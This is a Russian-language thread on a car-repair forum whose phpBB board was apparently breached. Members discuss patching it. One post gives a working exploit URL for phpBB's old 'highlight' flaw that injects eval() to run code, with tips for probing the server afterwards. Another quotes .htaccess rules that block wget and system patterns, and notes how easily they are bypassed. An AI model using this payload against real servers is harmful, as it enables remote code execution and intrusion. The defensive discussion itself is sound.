Диагностика и ремонт Mitsubishi

Тролль писал(а):мне тоже показалось что весь форум просто взяли и удалили... Чуть не поседел...

Может есть смысл скинуться на новое имя и хостинг, чтобы ни от кого не зависеть?

Ged писал(а):Уважаемые!
Помощь нужна???
Phpbb движок лопатил неоднократно.

NekTo писал(а):

Ged писал(а):Уважаемые!
Помощь нужна???
Phpbb движок лопатил неоднократно.

В свое время тоже собаку на нем съел, причем в двух версиях одновременно держал форум, в веб и вап версиях.

1) через уязвимость highlight. Бага очень старая, но все же встречаеться в инете.
Суть баги читайте в инете, было выложено.
Как юзать:
http://loleg.ru/phpbb_forum/viewtopic.php?t=5&cmd=phpinfo();&highlight='.eval($_GET[cmd]).'
смотрим чо получилось, если них.., то значит бага пропатчена, если показался phpinfo, дергаем из него, ось сервака и сейф мод, и в зависимости от них, ковыряемся на серваке.

Ged писал(а):то Vladimir_N-sk

На форуме phpbbguru.net народ рекомендует в .htaccess (который в корне форума) добавить такие строчки.

Код: Выделить всё

RewriteEngine on
RewriteBase /
RewriteCond %{QUERY_STRING} ^(.*)wget\%20 [OR] 
RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR] 
RewriteCond %{QUERY_STRING} ^(.*)esystem(.*) [OR]
RewriteCond %{QUERY_STRING} ^(.*)highlight=\%2527 [OR]
RewriteCond %{QUERY_STRING} ^(.*)highlight=\\\[ [OR] 
RewriteCond %{HTTP_COOKIE}% s:(.*):\%22test1\%22\%3b 
RewriteRule ^(.*)$ http://127.0.0.1/ [L,R=permanent]
 

Поэкспериментировал с rewrite-правилами.
Итог: этот набор спасал разве что от bot-ов,
формирующих url по заданному шаблону
Человеку достаточно слегка изменить url,
чтобы обойти ограничение.

BemBex писал(а):Информация то не потерялась хоть?

NekTo писал(а):Уязвимость в phpBB 2.0.10

У нас версия позже 10-ой и там код как во 2-м варианте, правда это не помогает.
Держим кулачки, как говорит KA-NATKA , я нашел в инете как-бы вроде исправленный код, отредактировал файл, залил на сервер, как сервер-админ проверит и если даст добро, то ну а если то бум дальше искать.